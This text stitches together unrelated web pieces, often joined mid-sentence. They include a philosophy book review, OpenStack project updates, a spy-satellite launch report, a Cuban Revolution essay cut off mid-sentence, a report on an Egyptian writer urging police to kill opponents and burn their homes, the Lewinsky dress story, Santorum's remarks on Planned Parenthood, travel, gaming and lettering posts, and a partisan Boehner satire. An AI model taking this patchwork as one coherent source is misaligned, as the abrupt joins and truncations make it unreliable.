fields and objects exist codependently, and neither is more real than the other. This is not to say that every individual and every field exists together, at the same time and in the same way, just that there is no a priori way of determining what exists as an "actual individual" as opposed to a "mere mereological sum" (52).
Even though Gabriel is clearly already building his own no-world-view, Chapter 3 continues the negative ontological work by criticizing Kant's and Frege's views on existence, while Chapter 4 launches an offensive against the set-theoretical ontology of Badiou and its complicity with contemporary nihilism. Kant's rejection of existence as a real, as opposed to logical, predicate rests on a conception of the world as a totality, a unified spatiotemporal "field of possible experience" that recognizes as actual only those individuals that are themselves (possibly) spatiotemporal (53). Since no such field exists, this cannot adequately account for the meaning of existence (73). Frege, on the other hand, is shown to present an excessively formal and mathematized account of existence that does not get at the objective, language-user-independent sense of existence required for a realist ontology. Gabriel helpfully summarizes, in chart form, what is fascinatingly wrong (and right) about Kant and Frege on existence (101-102). For his part, Badiou, following Cantor, is found guilty of peddling an inadequate mathematical formalism in the same vein as Frege. Gabriel classifies this as obvious ontotheology (130) and takes it to task for masquerading as a genuine ontology of the real rather than the inadequate formalism that it is. As Gabriel says,
What I am attacking is the idea that existence is significantly related to quantifiable individuation, whether the objects thus counted are substances, events, or absolute processes. I reject the idea that to be is to be one or a one, a unified object, be it unified in itself or unified by thought, language, discursive practices, the symbolic order, the neurochemistry of what we think of as intentionality or what have you (105).
This attack applies as much to Badiou as it does to Frege, Kant, and Quine.
Gabriel fills out his understanding of the term "field" in Chapter 6. There he tells us that the term is a synonym for "domain" and one that he has chosen in order to differentiate his position from both traditional domain ontology and set-theoretical ontology. The problem with traditional domain ontology is that "it is premised on transcendental asymmetry," which entails the idealist principle that thought itself determines the truth conditions of thought but not the conditions of truth itself (148, 157). "The essence of transcendental asymmetry," writes Gabriel, "is a very general form of internalism according to which domains of objects (logical horizons) are constructed, whereas the objects appearing within the domains usually are encountered" (148-149). As a realist, Gabriel must reject this premise of traditional domain ontology. He replaces it with a position -- devoid of the metaphysical assumptions of domain and set-theoretical ontology -- which asserts the unconstructed nature of domains, now called fields:
Fields are generally unconstructed, and their force is felt by the objects entering them.... The field provides objective structures and interacts with the objects appearing within it. It is already there, and objects can pass through it and change its properties. Fields are not horizons or perspectives; they are not epistemological entities or objects introduced to explain how we can know how things are (157-158).
Anything that exists appears in a field. For this to happen, a field must exist. But this implies that the field itself appears within a field, "and so on infinitely" (159). There are, then, a plurality of fields. If there were only one field, it would be universal and everything would appear within it. It would be the world, which does not and cannot exist (159). What exists is what appears in a field, which means that what exists are relations between objects (real or fictional) and fields.
This emphasis on relations, rather than objects, places a certain distance between the new realist ontology of Gabriel and the object-oriented ontology of Graham Harman. Gabriel likewise distances himself from the "modes of existence" ontology of Bruno Latour, Harman's occasional ally. Fiction and reality, for example, are not two modes of existence, as if the fictional and the real stand for two separate domains of existence. They are, on the contrary, two fields of sense. Their difference is a functional one, not modal; the same goes for the distinction between appearance and reality. Which is not to say that all things appear in the same way; objects appear in different forms (171-172). But all of these forms are forms of appearance, of what it means to exist. This is why it is not inaccurate to classify Gabriel as a "flat" ontologist, although not without some qualification, which the author himself provides.
The final negative-ontological chapter (Chapter 7) gathers and recapitulates the claims of the no-world-view, which Gabriel calls the "heart of the matter" (187). He addresses, in turn, three objections that have been raised against his view: that his ontology is local and therefore finite (189-192); that his definition of existence is "inherently universal" (192-201); and that his assertion of the world's nonexistence, if it were true, would imply that the world does exist (201-207). Gabriel delivers satisfying replies to these objections and along the way draws out a telling contrast with phenomenology, particularly the Heideggerian variety, which he regards as fundamentally antirealist. Heidegger's antirealism is unsatisfying because, argues Gabriel, we can know a priori not only that there are fields of sense, and therefore objects and object relations within them, but that there are many fields of sense. What appears within them, however, can only be determined after the fact (207). This is why Gabriel identifies himself as an ontological pluralist, a pluralist about existence (191).
By the time readers get to the positive ontology (Chapters 8-13), they already have a good idea of where Gabriel stands and how he came to stand there. The second part of the book is, perhaps, more constructive than the first insofar as its dialectical presentation unpacks more of Gabriel's own theses. There are two chapters on modality (Chapters 10 and 11) and two on epistemology, wherein Gabriel defends a version of epistemological pluralism (Chapters 12 and 13), none of which will I discuss in detail.
Chapter 8 cashes out the idea that there are indefinitely many fields of sense. Gabriel has also asserted (see above) that there are infinitely many fields of sense, so there is some nonfatal ambiguity in his position. Nevertheless, this chapter not only makes the case for the plurality of fields of sense and the case that we can know of this plurality a priori, it also argues that the world is the only thing that necessarily does not exist (214 ff.). We get a more precise account of the meaning of "sense," initially introduced as the rules for individuating a domain (139), as well as a case for the priority of sense over concept; "object" and "individual" are likewise fleshed out. One of the book's chief virtues is Gabriel's consideration of the readers. He never assumes too much of them, which means that his presentation rarely, if ever, exploits their ignorance of the matter at hand. The chapter also stages substantial engagements with Kripke and Hegel.
Readers of Harman, Manuel DeLanda, Jane Bennett, and Levi Bryant will be interested in Chapter 9, where Gabriel asks "How Flat Can Ontology Be?" and answers that it cannot be as flat as some might think. There are at least as many versions of flat ontology as there are proper names in the opening sentence of this paragraph. All of them challenge the kind of hierarchized ontology typical of ontotheology, however. Gabriel's ontology claims that "all fields of sense are equal insofar as they are fields of sense" (252). This is a clear rejoinder to Harman's version of flat ontology, for which all objects are equal insofar as they are objects. This is not equivalent to the claim that all objects exist equally, no matter what their scale or what domain they belong to, factual or fantastic. Gabriel also presents an alternative to DeLanda's flat ontology, which Gabriel quite succinctly sets aside by noting that it is a flat metaphysics, not a flat ontology (252). One may wish to quibble with him here, perhaps about the definition of metaphysics. Now, while Gabriel wants to oppose hierarchical ontology, his view compels him to resist a completely flat ontology precisely because, as he says, "it is impossible for there to only be a unified level (a plane of immanence, as it were, to misuse Deleuze's metaphor) of equal objects that happen to differ from each other in one way or other (most likely by their properties)" (255). The so-called "curving" of flat ontology is necessitated, he maintains, by the functional difference between fields of sense and objects alluded to earlier: some things are objects within a field and simultaneously a field in which objects appear, and there is a sense in which fields take priority over objects even though both are necessary for something to appear, to exist. In short, "What serves as a field of sense and what serves as an object is not fixed by any transcendental standards, but negotiated on a case by case basis" (258).
At times, when I was in the thick of Gabriel's book, I found myself wishing I was instead tasked with reviewing the briefer Why the World Does Not Exist or, in especially weak moments, his TEDx talk. Some of the tangents and ancillary discussions veer into terrain that others more steeped in analytic metaphysics debates will find more compelling than I do. Occasionally it seemed like the substance of the no-world-view had already been established, and yet the book continued on to discuss matters that seemed of only secondary interest. I wanted to repose in satisfaction, having gleaned the big picture and navigated through a number of rewarding, yet taxing, passages. Several skirmishes remained to be decided, however. But I suspect that many reviewers experience such desires and feelings while working their way through a tightly argued and incisive ontological treatise that demands their attention as it unfolds an extraordinary vision of what does and does not exist and how we can know about these. Fields of Sense is required reading for anyone coming to grips with contemporary metaphysics, no matter which philosophical tradition they call their own.Smithworks Brewing Changes Name to Smithavens
PETERBOROUGH, ON – Smithworks Brewing has announced that due to the fact that its “name sounded a bit too much like somebody else’s”, it is now doing business as Smithavens Brewing.
Opened in the spring of 2014 by three Smiths – brewmaster Graham, his brother Randy, and Randy’s wife Kelly – Smithworks has had a successful run of nearly two years, with a number of brands available at its retail store and on draught. Its Kellerbier is also available at LCBO and Beer Store locations, as well as several local grocery stores where it’s being sold alongside the brewery’s Dunkeweizen.
Bottles, glassware and merchandise featuring the new Smithavens name are rolling out now, and the brewery’s website, Facebook page and Twitter feed have all been renamed to reflect the new branding.Each release cycle, OpenStack project team leads (PTLs) introduce themselves, talk about upcoming features for the OpenStack projects they manage, plus how you can get involved and influence the roadmap.
Superuser will feature weekly summaries of the videos; you can also catch them on the OpenStack Foundation YouTube channel. This post covers Cinder, Neutron and Nova.
Cinder
What Cinder
The goal of the project is to implement services and libraries to provide on demand, self-service access to Block Storage resources. Provide software defined block storage via abstraction and automation on top of various traditional backend block storage devices.
Who Sean McGinnis, PTL. Day job: Senior principal software engineer at Dell.
Burning issues
“A lot of what we discussed in Austin might not be interesting to the end users, but the had a lot of changes in Mitaka that developers working on the code need to be aware of, things like implementing micro-versions in the API and rolling upgrades,” he says. “There’s a lot we need to be aware of that hopefully as these features mature will be useful to the end users too.”
What’s next
“I’d love to have feedback from users about what they’re looking for with replication, so we can be sure we meet their use cases,” he added.
What matters in Newton
Get involved!
”We can always use help – core reviews, documentation, you don’t need to be a programmer,” McGinnis says. “If you want to be a part of the community and get involved, we would love to have you.” He suggests dropping in on IRC and asking who might need help.
Use Ask OpenStack for general questions
For roadmap or development issues, subscribe to the OpenStack development mailing list, and use the tag [cinder]
Participate in the weekly meetings: held in #openstack-meeting, on Wednesdays at 16:00 UTC.
Neutron
What
Neutron’s goal is to implement services and associated libraries to provide on-demand, scalable, and technology-agnostic network abstraction.
Who Armando Migliaccio, PTL. Day job: software architect, HP Networking at Hewlett-Packard.
Burning issues
“We had a lot of exciting sessions in Austin,” Migliaccio says. “There’s usually a lot of yelling, but the discussions are good.” The outcome, he says, is a path forward for a number of things that were “long overdue.”
What’s next
“It’s hard to come up with just three things, he says “these are the top priorities — as well as challenges. Hopefully, we won’t disappoint our user base.”
What matters in Newton
“People often ask me what will happen in 10-12 month’s time and I usually struggle to give an answer because in open source, you’re never really in full control,” he says. “We’re very ambitious, so we end up over-subscribing ourselves. Some of the things we’re talking about now will spill over into Ocata.”
Get involved!
Use Ask OpenStack for general questions
For roadmap or development issues, subscribe to the OpenStack development mailing list, and use the tag [neturon]
To get code, ask questions, view blueprints, etc, see: Neutron Launchpad Page
Neutron’s regular IRC meetings start one hour after the main openstack meeting, on the same #openstack-meeting channel: http://wiki.openstack.org/Network/Meetings
Nova
What Nova, OpenStack’s compute service. The project aims to implement services and associated libraries to provide massively scalable, on demand, self-service access to compute resources, including bare metal, virtual machines, and containers.
Who Matt Riedemann, who has been with IBM for over 10 years.
Burning issues
“A big thing that’s already happened in Newton has been the backlog, some of it we have been carrying since Kilo. We put a freeze on new specs up until the Summit,” Riedemann says. “We need to get a lot of this backlog cleaned up before we can add new features.”
What’s next
“It’s about redefining a lot of data models so everything’s not in a single data base,” he added. “In Mitaka we laid a lot of the foundations but didn’t get a lot of code merged. In Newton we’ve already made some pretty good progress.”
What matters in Newton:
You can find all the planned updates at the Nova specs repo but Riedemann says the top priorities are the Cells v2 work, the scheduler work, the API policy defaults and the API-refs doc cleanup. Looking ahead to the Ocata release, he says that interoperability will also be a focus as the team lays the groundwork on the APIs.
Get involved!
Use Ask OpenStack for general questions
For roadmap or development issues, subscribe to the OpenStack development mailing list, and use the tag [nova]
“You can really tell in the Newton design sessions that Nova is really naturally grown into effective sub-teams,” Riedemann says. “There are lot of broad things that need work and people can get their feet wet with.” Check out the Nova wiki for more information.
Participate in the weekly meetings: Thursdays alternating 14:00 UTC (#openstack-meeting) and 21:00 UTC (#openstack-meeting).
Cover PhotoCC/NCWe have lift off... just: Massive 235ft rocket carrying a secret spy satellite replacement blasts off from California coast
Launch of giant rocket could be seen from 50 miles away
Analysts believe Delta IV will replace an imagery satellite that has been in orbit since 2001
It is the largest rock et ever launched from the U.S. West Coast.
The 235ft-tall Delta IV Heavy Launch Vehicle lifted off at 1.10pm local time yesterday with a classified U.S. government defence satellite on board.
Carrying cargo for the National Reconnaissance Office (NRO), the booster rose into the sky over California's central coast and arced over the Pacific Ocean, a spectacle visible from 50 miles away.
Scroll down for video
Blast off: The Delta IV Heavy Launch Vehicle lifts off from Vandenberg Air Force Base in the California desert at 1.10pm local time yesterday
Record breaker: The 235ft-tall spacecraft is the largest ever rocket to launch from the U.S. West Coast
The rocket hit speeds of 17,500mph as it climbed toward space.
Six minutes after lift-off, the first stage of the rocket broke away and splashed down in the Pacific.
United Launch Alliance (ULA), the joint venture of rocket builders Lockheed Martin and Boeing, said in a statement that the launch was a success.
It had been pushed back two minutes to avoid an object in space that could have been in the path of the rocket, said Michael J Rein, a ULA spokesman.
Yesterday marked the third of a series of six satellite launches taking place over an eight-month period. The next launch is scheduled to take place on February 5.
No cargo details were released, but the NRO operates satellites that provide information to the Central Intelligence Agency and U.S. Department of Defense.
There are currently three KH-11 satellites in orbit and some analysts believe that the purpose of this launch was to replace an imagery satellite that has been in orbit since 2001.
Secret cargo: Carrying a classified U.S. government defence satellite, Delta IV rose into the sky over California's central coast and arced over the Pacific Ocean. The spectacle was visible over a wide area
Its advanced resolution replacement is thought to be capable of seeing things on the ground in much finer detail than anything similar, although experts think it doubtful it will be able to read a car registration number.
'It will be used to produce high-resolution imagery of military and terrorist facilities around the world,' Jeffrey Richelson, an expert on U.S. space reconnaissance with the National Security Archive, told CNN.
This was the fifth launch of a Delta IV but the first from the West Coast. The other four launches were at Cape Canaveral, Florida.
Capable of generating nearly two million pounds of thrust, the liquid-fuel rocket has a central core booster and two strap-on boosters that make the assembly 50ft wide.
An upper second stage takes over when the first stage is exhausted.
Small delay: The launch had been pushed back two minutes to avoid an object in space that could have been in the path of the rocket Preparing for the launch took three years and $100million in infrastructure upgrades at Vandenberg, 130 miles north-west of Los Angeles.
The launch director, Lt. Col. Brady Hauboldt, said in a statement before the lift-off that the launch would mark a milestone by restoring heavy lift capability in the nation's western range. The last heavy lift Titan IV-B was launched at Vandenberg in 2005.
In its past, the launch complex was once configured for West Coast space shuttle launches, which were cancelled after the 1986 Challenger disaster, and the Air Force's Manned Orbiting Laboratory program, which was cancelled in 1969. It was last used in 2006.
NASA has set a target launch date of June 28 for the shuttle Atlantis and started preparations for the 135th and last shuttle flight.
The four-member crew will take up supplies to the International Space Station, make one spacewalk, and return a faulty pump.
Now three missions remain before NASA retires its shuttle fleet this year. The shuttle Discovery's last mission is slated for February 24, and Endeavour's is set for April.36 Shares 0
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“The resentment of imperialism is so profound, its hatred of our revolution so great, that the imperialists refuse to resign themselves.” Uttered by Fidel Castro during a speech in 1961, the statement generates a particular relevance in relation to the dissemination of contrasting narratives regarding Fidel and the Cuban Revolution.
In the years following the death of Ernesto Che Guevara, attempts to sabotage the narration of the Cuban Revolution have focused upon creating unfounded hypotheses. Imperialist narratives attribute the intellectual inscription of the revolution solely to Che, depicting a process which fragmented itself when Che was captured and murdered in Bolivia. However, this attribution does not deter imperialism from forging a perverse triumph over Che’s murder and the alleged termination of the revolutionary struggle. In fact, the incomplete and intentionally misrepresented image of Che serves to marginalise Fidel’s consistent anti-imperialist narrative. By promulgating the image of the murdered revolutionary into the limelight, the imperialist narrative has also served to detract from the primary historical framework which supported and implemented the revolution – the revolutionary philosophy of José Martí and Fidel Castro.
Imperialist narratives of the Cuban revolution differ; the simplest depicting Fidel a dictator whose tenure as leader defied the objectives of democracy. However, a more intricate manipulation exists, which weaves a narration of the Cuban Revolution through a historical account disassociated from its |
maybe a bit thinner, but not quite the heavy denim like HCK pants.
Comfort
I mentioned these points above, but once donning the gi you'll know what I'm talking about with the fleecy type of interior. This works quite well if you don't wear a rash guard, but it does wear out over time.
Because of the thickenss, and the tightness of the weave probably the next thing you will notice once you get going, is that the gi is hot! If you are not used to heavy double weave jackets you will know right away what I'm talking about.
The jacket has FIVE rows of stitching on the back, but the setsugi on any gi never bothers me. If the setsugi bothers you on lesser gis than this one will probably bug you a lot.
Performance
A lot of the guys in our club have either the beginner Fuji single weave, or a double weave Mizuno that has been softened over time, once you get used to this it's hard transition to fighting someone with the battle armour of a Fushida Icon gi. When you are wearing the gi you won't realize what it's doing for you until you fight someone else wearing the same thing… Any high grip, neutralized!
1 year later
I've had the gi for a year now and it is more or less the exact same as the day I bought it asides from some sweat stains in the neck area, and a few minor loose threads. The shrinkage stopped after the first two hot wash and drying cycles. The gi shows no real signs of wear, and I use it approximately 4 hours per week.
The Fushida gi is a crowd favourite at our dojo with more and more people ordering them. There is definitely a reason this trend exists and it's because Fushida offers a gi competitive with the top end names for a very fair price. I would not hesitate to buy another one, and in fact, I'm ordering a blue one very soon!
AdvertisementsAlmasry Alyoum daily newspaper published an article written by the well-known playwright Ali Salem in which he calls on the Egyptian police apparatus to form special militias to carry out terrorist attacks against those opposed to Field Marshal Abd Al-Fattah Al-Sisi.
Salem called for disregarding the law and the judiciary, which he viewed as incompetent and ineffective when it comes to combating violence.
In a highly controversial article, Ali Salem said that police has the right to kill opponents who incite or commit violent acts against them. He even suggested that if any person torches an armoured police vehicle, the police should burn down his own home and the home of his family that same night, and then attribute the act to unknown assailants.
In addition, Salem suggested that it would then be possible to penalise a police officer who kills an opponent or who burns down his home with a two days deduction from his salary, or with a denial of his right to have the day off on Thursday and Friday.
Human rights lawyers considered Salem’s article a full-fledged crime that necessitates prosecuting the writer and the newspaper because what he wrote amounts to incitement to extrajudicial killing and the establishment of a state of militias.
“The existence of a police community that functions in complete secrecy will provide it with considerable abilities to obtain the necessary information. Humans have the tendency to support the powerful provided their safety is guaranteed. What matters, eventually, is that whoever torches a police armoured vehicle should have his home torched that same night by unknowns. If you are willing to monitor the moves of a police officer so as to kill him, then you and your family must know that you will be killed that same night.”
Salem admitted in his article that what he calls for represents an onslaught on the law. Nevertheless, he considers it fair because it is an act of “self-defence.”
“Would what I am calling for represent an onslaught on the law? Yes, please speak louder so that I can hear you. Yes, what I am asking for is not legal but it is by all standards fair. The greatest human right of all and the most sacred of them all is the right to self-defence. All I am asking for is to allow the police, and my father was once one of them, to defend themselves and their honour as members of one of the most honourable professions of all,” he wrote.They are floaters: A blurry spot that seems to drift in front of the eyes but does not block vision.
The blur is the result of debris from the vitreous of the eye casting a shadow on the retina. The spot is the image formed by a deposit of protein drifting about in the vitreous, the clear jelly-like substance that fills the middle of the eye.
Floaters are often described by patients as spots, strands, or little flies. Floaters are usually benign (not serious). They can, however, occasionally result from a separation of the vitreous gel from the retina.
This condition is called a posterior vitreous detachment (PVD). Although a PVD occurs commonly, there are no retinal tears associated with the condition most of the time. No treatments are available for floaters although they tend to become less annoying over time.
Remember also that floaters are usually not associated with serious eye problems.
Permanent or recurring white or black spots in the same area of your field of vision may, however, be an early warning sign of cataracts or another serious eye problem.
If you experience a shadow or curtain that affects any part of your vision, this can indicate that a retinal tear has occurred and has progressed to a detached retina.
In this situation, you should immediately consult an ophthalmologist since time is of the essence.The infamous blue dress
The Stained Blue Dress
that Almost Lost a Presidency
THE STORY BEHIND THE DRESS
FBI: MEMO ON TAKING OF PRESIDENT'S BLOOD
FBI: RECEIPT OF DRESS AND BLOOD SAMPLE
FBI ANALYSIS OF SEMEN STAIN
The Story Behind the Dress
In November 1997, Monica Lewinsky told her confidant and supposed friend, Linda Tripp, that she had in her possession a blue Gap dress that still bore the semen stain that resulted from her administering oral sex to President Clinton in February of that year.
Tripp called her literary agent, and fellow Clinton-hater, Lucianne Goldberg to report the news that evidence existed in Lewinsky's closet that could prove a sexual relationship between Monica and the President. Goldberg and Tripp, according to published reports in both Time and Newsweek, discussed stealing the dress and turning it over to investigators. Goldberg admitted having such a discussion with Tripp, calling it a "Nancy Drew fantasy."
In late November, Lewinsky mentioned to Tripp that she intended to have the dress, which she had been saving a souvenir, dry-cleaned for a family event. Tripp, anxious to preserve the dress to nail the President, discouraged her from doing so. "I would tell my own daughter," Tripp told her, that she should save the dress "for your own ultimate protection" should she later be accused of lying about the affair with Clinton. When Lewinsky expressed skepticism that it would ever come to that, Tripp told her that the dress made her look "really fat" and she shouldn't wear it again in public.
In late July, 1998, Lewinsky turned the dress over to Kenneth Starr's investigators after signing an immunity agreement. A blood sample was taken from Clinton on August 3, and on August 17, the FBI reported its conclusion that Clinton was the source of the semen on the dress "to a reasonable degree of scientific certainty."
When news of the the existence of the dress surfaced in published reports in early August, politicians and commentators alike agreed that the blue dress proved Clinton lied when he denied a sexual relationship with Lewinsky. Senator Orrin Hatch (R-Utah) called the evidence "very critical." Senator Arlen Spector (R-Pa) agreed that it would be "the most powerful kind of corroboration" of an affair. A George Washington law professor, Jonathan Turley, appearing on "Meet the Press" said of the semen stain: "No one will be able to spin him out of that."
FBI: August 3, 1998 Note on Taking of President's Blood
FBI Acknowledgement of Receipt of Dress and Blood Sample
August 17, 1998 FBI Report on Analysis of StainThis video is no longer available
This video was hosted on Vidme, which is no longer in operation. However, you might find this video at one of these links:
Video title:
hosenew2
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HOSE SHUT OFF CLAMP I Went And Got The Jam Out For 25 years this tool, invented by Gideon Tool and developed by Mr Jack Bares and his crew at Milbar tools, has been clamping hose quickly and with around 2X leverage. (big BUT here) But the slots were so gnarly and small that it basically JAMMED up once in place, and took two hands to pry it open. NO MORE JAM The slots are smooth, long, and curved just right with plenty of room with the same leverage and jaw opening. VAST IMPROVEMENT really ONE HANDED see it at gideontool.com
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3,857There are many reasons social conservatives give for cutting off federal funding to Planned Parenthood. After a foreign policy speech today, former Pennsylvania Sen. Rick Santorum expertly laid out one of the more extreme: Planned Parenthood, he said, is a bit too interested in racial eugenics for his taste.
“Well, look at — and I know they dispute this — certainly a lot of evidence that the location of their clinics happen to be in places, historically places, where there are high concentrations of minorities for example,” Santorum explained to a gaggle of reporters after a foreign policy speech he made in Washington today. ”
The placement of clinics and the targeted advertising may be a vestige of what Santorum called Planned Parenthood’s “horrific origins,” but he said much of the “poisonous” nature of the organization has remained even as it has claimed to, he said, “transform over time.”Santorum, a strict social conservative and (exploratorially at least) Republican presidential candidate, deftly hinted at the right’s take on the history of Planned Parenthood, explained here on the National Right to Life Committee website.
Planned Parenthood founder Margaret Sanger’s support for eugenics gets a lot of play among anti-abortion advocates. Like Santorum did today, they claim that the Planned Parenthood of the modern day has kept at least some focus on cleansing society of “undesirables.”
(Here’s a good rundown of how the anti-abortion movement uses eugenics fears to win support in the minority community from Sarah Posner.)
Of course, abortions make up just a sliver of what Planned Parenthood does, and taxpayer funds that flow to the organization do so only to cover family planning and reproductive health for women.
Nevertheless, Santorum doesn’t think the Planned Parenthood of today is much different from the age of Sanger’s controversial views. He called on Indiana Gov. Mitch Daniels (R) to sign a bill in his state that would “defund” Planned Parenthood for Hoosiers, pointing to what he calls the group’s shady past and sketchy present.
“I can’t imagine any other organization with its roots as poisonous as the roots of Planned Parenthood getting federal funding of any kind,” Santorum said. “This is an organization that was founded on the eugenics movement, founded on racism — I mean, it’s horrific. It’s origins are horrific. And you can say, ‘well it’s not that anymore.’ It’s not far from where it was in my opinion.”
As evidence of how “not far” Planned Parenthood is from his reading of its past, Santorum raised another standard of the anti-abortion movement, specifically an interview Supreme Court Justice Ruth Bader Ginsburg gave the New York Times Magazine in 2009.
In the piece, Ginsburg speaks of being surprised that legislation like the Hyde Amendment and rulings that support it have diluted access to abortion in America with little or no talk of how that disproportionally affects poor women. The anti-abortion crowd read this as an affirmation that Roe v. Wade was really about preventing the birth of “undesirables.”
(For the record, Ginsburg said “the government has no business making [a reproductive] choice for a woman” in the interview.)
Santorum made it clear he shares the view of those who think Ginsburg was hinting at eugenics when asked how he thinks Planned Parenthood has remained true to its nefarious roots.
“They’ve stayed in that same general area of saying that there are certain people in society that we should — you heard Ruth Bader Ginsburg say it in her comments about you know “undesirables” in society,” he said. “I just don’t think that’s what federal government or state government money should be going to.”
Late Update:
Planned Parenthood’s Director of African-American Media, Veronica Byrd, sends along this statement in response to Santorum:
Rick Santorum has stooped to using race as a wedge issue to launch a highly political attack ON Planned Parenthood. The truth is that the doctors and nurses who deliver care at Planned Parenthood’s more than 800 health centers provide women from every community with basic preventive care, including lifesaving breast and cervical cancer screenings, Pap tests, annual exams, testing and treatment of sexually transmitted infections, and HIV testing. Like other American women, African-American women understand that Planned Parenthood works every day to make sure that all women have access to high quality, affordable health care.
In January, the Guttmacher Institute did a study on the placement of clinics that provide abortion services and the demographics in the areas that surround them. From the findings:One of our favorites stops on my pre-Camino tour of Portugal was a two-nights stay in Porto. Many pilgrims start their Camino Portugués from there, and I highly recommend spending a couple of days to explore this incredible city. Here is the first in a series of posts on things to do in Porto.
Porto Cruise
What better way to shake off jet lag than a cruise on the Duoro river?
The one-hour cruises cost around €12. Click to learn more.
Porto River Cruise Video 1 min :45 sec
Porto at Night
After the cruise, we had a nice dinner with the tour group, then strolled along the waterfront. Porto is absolutely gorgeous at night! It was even more so with a full moon.
Are you mesmerized?
Up next, the Porto Cathedral.Hey all, it’s Christian here again to talk to you guys a bit about some of the thing that happened last week at the offices of Stunlock Studios. Fasten your seatbelts and let’s go!
A New Brawl
So first, this is something I actually spent some time on myself last week. In honor of the upcoming Oktoberfest and inspired by the screenshot I posted last week, we’ll be launching what we call the “Rooktoberfest Brawl” this weekend. It’s pretty straightforward and a lot of fun. You play as Rook, together with two other Rooks, and face off against three other Rooks. Matches are played in a best of 3 format, where you start by picking all your Battlerites like in the Rocket Balloon Brawl, and the sudden death timer is reduced from 2 minutes to 30 seconds.
The plan is for Rooktoberfest to be active for two weekends and after that it will be replaced by something else (more on that later). Just like with the Random Champion Duel Brawl, there will also be exclusive rewards bound to Rooktoberfest. By completing the quests tied to Rooktoberfest, you’ll be able to get a “Rare” outfit, a “Rare” weapon and a “Rare” victory pose for Rook, all currently unobtainable through any other means. Give it a go and smash some opponents. It gets really intense when the Death Vortex closes in!
UI 2.0
Progress on UI 2.0 continues and things are ever closer to getting into place. Katey shared this screenshot with me:
In here, they are exploring how the player slots beneath a team should be handled, in order to present it in a good and scalable manner. Katey feels like they’ve found a good spot in the above example where everything is visually easy to understand and it’s clear that the players belong to the team. The visual element of the slots should now be ready for the artists to step in and make them look more exciting.
Besides that, the UI team are working on a lot of things. In terms of tech, they’ve been finalizing the systems behind the pre-match system we want to get into place (which, if it’s unclear, means choosing or changing a champion after finding a match). A lot of art styling is also going on, with Katey and the artists redesigning the league icons and the Battlerite cards. They are also looking at the hover states of buttons and boxes, working on upping the visuals of the reward screen, and improving the presentation of when you rank up. Finally, time is also going into the chests to make them feel more engaging, both when browsing and opening them, to replace the slightly gloomy mood that surrounds the chests right now.
Before we leave UI 2.0, here’s also a sneak peek on the new league icons being worked on:
Closing Words & Tagline Winners
That’s it for this week. Do continue to stay tuned though as more news will be coming during September!
Before we end it though, we recently announced a tagline contest for Battlerite. We got tons entries and a lot of really good ones so it was tough to cut them down to our winners, but we somehow managed to do it. Here they are:
Congratulations to all of the winners!
And as usual, thanks for reading.
/ChristianTypeThursday: Vincent, thank you for being here for TypeThursday.
Vincent de Boer: Hi there! Nice meeting you.
TT: I’m excited to talk to you about All Eyes on Type, but before we do, I’d like to learn more about yourself. Looking at your work, I can see you love letterforms. Can you share with us more about yourself?
Vincent’s Motivations
VB: Thanks! Nice talking to you. I’m Vincent de Boer, Letter artist from the Netherlands. I have a background in Graphic Design but always had a strong urge to focus on typography. What is vital for me is making letters by the hand. Whether it’s writing or drawing, I need to make my letters and alphabets by hand. For the last two years I have been an independent artist. Previously, I had a graphic design agency together with two fellow type lovers.
TT: Fantastic. What motivates you to make letters by hand? Is it a personal preference or something you learn from school or mentors?
VB: Since a very young age I’ve been drawing, of course not yet letters at the age of 4; But other things, like comic books and stuff like that. It has been an unconscious challenge for me since I was 4 to get my left hand as skilled as possible. When I was 11, I started to have an interest in graphics. It felt like a very logical step to combine these two interests. Besides that, I’m very much in love with the directness of making things by hand. Just one brush, one piece of paper, one stroke of black ink. That’s pure romance to me.
TT: Your writing hand is your left hand. Is that correct?
VB: Yes.
TT: Being left handed is a challenge for calligraphy. Did you experience such challenges?
Performing Calligraphy When Left-Handed
VB: It’s indeed very much a challenge. The smudges you make as a lefty can be frustrating. Plus what annoys me the most is that my hand is blocking the view of the finished writing. That makes it very hard to calculate your spacing. Joining classes from right-handed teachers was also difficult because they just cannot understand what’s going on. But unconsciously, I think it brought me good things as well. Creativity to me is something that exists by the need of solving issues: to follow a path that has not been walked before. I had to accept that some things in calligraphy are just not reachable, like writing with copperplate for instance. That made me focus on other things. Plus I started with the dry brush technique, probably because of avoiding smudges.
TT: That’s fascinating you had to respond to the limitations of being left handed. Can you walk us through the different writing tools available? I noticed you note copperplate and dry brush. Are there others? How do each stack up from your experience?Here's a video of House Minority Leader John Boehner reacting negatively to the House Health Care Reform bill on the grounds that reading legislation is hard. And just who the hell obligated Boehner and his colleagues to read laws, anyway? Some group of "voters" in a "congressional district" or something? It's crazy. Maybe Boehner needs to preserve some free time to replenish the orange glow of his visage, which projects leadership!
The funny thing is, regarding this bill he couldn't possibly peruse, he's got all sorts of definitive assumptions about it. "We've got better ideas," he says, "and we'll be talking about them over the next week." Sure! It's not like anyone told John Boehner about the summer-long health care debate that we'd be having. He's only now getting up to speed.
[WATCH]
Of course, maybe Boehner should just sit down and leaf through that sucker! If he did, he'd probably like what he reads. As Igor Volsky pointed out yesterday, a whole slew of measures that the GOP requested have been provided in the bill. These include -- SPOILER ALERT (because I wouldn't want to ruin the best parts for Boehner) -- deficit neutrality, long-term cost reduction, across-state-lines competition, medical malpractice reform, protections for small business, and much more.
So, Boehner should take some time and read the bill. Based on past performance, it shouldn't take long. I mean, if it took Boehner and his colleagues five minutes to agree to the absolute essential-ness of the 300-page PATRIOT ACT, he should be able to get through this bill in under an hour. Weekend's coming: somebody get John Boehner a reading lamp!
[Would you like to follow me on Twitter? Because why not? Also, please send tips to [email protected] -- learn more about our media monitoring project here.][/caption]
The re-purposed Deep Impact spacecraft will make one final flyby of Earth on Sunday June 27, 2010, getting a gravity assist to help propel the spacecraft towards a meetup with comet Hartley 2 this fall. The spacecraft bus that brought the Deep Impact “impactor” to comet Tempel 1 in July of 2005 has been put back to work double time where two new missions share the same spacecraft. This is the fifth time this spacecraft has flown by Earth, and at the time of closest approach on Sunday, it will be about 30,400 kilometers (18,900 miles) above the South Atlantic.
“The speed and orbital track of the spacecraft can be changed by changing aspects of its flyby of Earth, such as how close it comes to the planet,” said University of Maryland astronomer Michael A’Hearn, principal investigator for both the new EPOXI mission and its predecessor mission, Deep Impact.
The combined operation EPOXI is a combo-acronym of the two separate missions. The Deep Impact Extended Investigation (DIXI) of comets will observe comet 103P/Hartley 2 during a close flyby in November 2010. The other half of the dynamic duo, called the Extrasolar Planet Observation and Characterization (EPOCh) which is observing stars already known to have transiting giant planets.
